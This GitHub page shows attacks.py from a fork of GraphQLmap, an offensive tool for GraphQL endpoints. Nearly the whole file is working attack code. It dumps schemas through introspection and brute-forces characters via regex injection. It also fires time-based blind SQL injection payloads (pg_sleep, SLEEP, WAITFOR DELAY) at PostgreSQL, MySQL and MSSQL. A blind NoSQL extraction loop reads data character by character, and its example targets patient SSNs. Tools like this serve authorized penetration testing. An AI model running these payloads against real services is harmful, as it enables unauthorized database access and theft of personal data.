forked from swisskyrepo/GraphQLmap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathattacks.py
182 lines (138 loc) · 10.1 KB
/
attacks.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
#!/usr/bin/python
from utils import *
def display_types(URL, method, headers):
payload = "{__schema{types{name}}}"
r = requester(URL, method, payload, headers)
if r is not None:
schema = r.json()
for names in schema['data']['__schema']['types']:
print(names)
def dump_schema(url, method, graphversion, headers):
"""
Dump the GraphQL schema via Instrospection
:param headers: Headers to use
:param url: URL of the GraphQL instance
:param method: HTTP method to use
:param graphversion: GraphQL version
:return: None
"""
if graphversion > 14:
payload = "query+IntrospectionQuery+{++++++++++++++++__schema+{++++++++++++++++queryType+{+name+}++++++++++++++++mutationType+{+name+}++++++++++++++++subscriptionType+{+name+}++++++++++++++++types+{++++++++++++++++++++...FullType++++++++++++++++}++++++++++++++++directives+{++++++++++++++++++++name++++++++++++++++++++description++++++++++++++++++++locations++++++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}++++++++++++fragment+FullType+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++description++++++++++++++++fields(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++args+{++++++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++type+{++++++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++inputFields+{++++++++++++++++...InputValue++++++++++++++++}++++++++++++++++interfaces+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++++++enumValues(includeDeprecated:+true)+{++++++++++++++++name++++++++++++++++description++++++++++++++++isDeprecated++++++++++++++++deprecationReason++++++++++++++++}++++++++++++++++possibleTypes+{++++++++++++++++...TypeRef++++++++++++++++}++++++++++++}++++++++++++fragment+InputValue+on+__InputValue+{++++++++++++++++name++++++++++++++++description++++++++++++++++type+{+...TypeRef+}++++++++++++++++defaultValue++++++++++++}++++++++++++fragment+TypeRef+on+__Type+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++kind++++++++++++++++++++name++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++kind++++++++++++++++++++++++name++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++ofType+{++++++++++++++++++++++++++++kind++++++++++++++++++++++++++++name++++++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++++++}++++++++++++++++}++++++++++++++++}++++++++++++}"
else:
payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}"
r = requester(url, method, payload, headers)
schema = r.json()
print("============= [SCHEMA] ===============")
print("e.g: \033[92mname\033[0m[\033[94mType\033[0m]: arg (\033[93mType\033[0m!)\n")
for types in schema['data']['__schema']['types']:
if types['kind'] == "OBJECT":
print(types['name'])
if "__" not in types['name']:
for fields in types['fields']:
field_type = ""
try:
field_type = fields['type']['ofType']['name']
except Exception:
pass
print("\t\033[92m{}\033[0m[\033[94m{}\033[0m]: ".format(fields['name'], field_type), end='')
# add the field to the autocompleter
cmdlist.append(fields['name'])
for args in fields['args']:
args_name = args.get('name')
args_ttype = ""
try:
args['type']['kind']
except Exception:
pass
try:
args_ttype = args['type']['ofType']['name']
except Exception:
pass
print("{} (\033[93m{}\033[0m!), ".format(args_name, args_ttype), end='')
cmdlist.append(args_name)
print("")
def exec_graphql(url, method, query, headers=None, only_length=0):
if headers is None:
headers = {}
r = requester(url, method, query, headers)
try:
graphql = r.json()
errors = graphql.get("errors")
# handle errors in JSON data
if errors:
return "\033[91m" + errors[0]['message'] + "\033[0m"
else:
try:
jq_data = jq(graphql)
# handle blind injection (content length)
if only_length:
return len(jq_data)
# otherwise return the JSON content
else:
return jq(graphql)
except:
# when the content isn't a valid JSON, return a text
return r.text
except Exception as e:
return "\033[91m[!]\033[0m {}".format(str(e))
def exec_advanced(url, method, query, headers):
print(query)
# Allow a user to bruteforce character from a charset
# e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
if "GRAPHQL_CHARSET" in query:
graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~"
for c in graphql_charset:
length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, only_length=1)
print(
"[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c)))
# Allow a user to bruteforce number from a specified range
# e.g: {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"[email protected]\"} }"){id, lastName, email}}
elif "GRAPHQL_INCREMENT_" in query:
regex = re.compile("GRAPHQL_INCREMENT_(\d*)")
match = regex.findall(query)
for i in range(int(match[0])):
pattern = "GRAPHQL_INCREMENT_" + match[0]
length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, only_length=1)
print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i))))
# Otherwise execute the query and display the JSON result
else:
print(exec_graphql(url, method, query, headers))
def blind_postgresql(url, method, headers):
query = input("Query > ")
payload = "1 AND pg_sleep(30) --"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mysql(url, method, headers):
query = input("Query > ")
payload = "'-SLEEP(30); #"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_mssql(url, method, headers):
query = input("Query > ")
payload = "'; WAITFOR DELAY '00:00:30';"
print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload)
requester(url, method, injected, headers)
print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time()))))
def blind_nosql(url, method, headers):
# Query : {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
# Check : "5d089c51dcab2d0032fdd08d"
query = input("Query > ")
check = input("Check > ")
data = ""
data_size = 35
charset = "0123456789abcdef-"
while len(data) != data_size:
for c in charset:
injected = query.replace("BLIND_PLACEHOLDER", data + c)
r = requester(url, method, injected, headers)
if check in r.text:
data += c
# display data and update the current line
print("\r\033[92m[+] Data found:\033[0m {}".format(data), end='', flush=False)
# force a line return to clear the screen after the data trick
print("")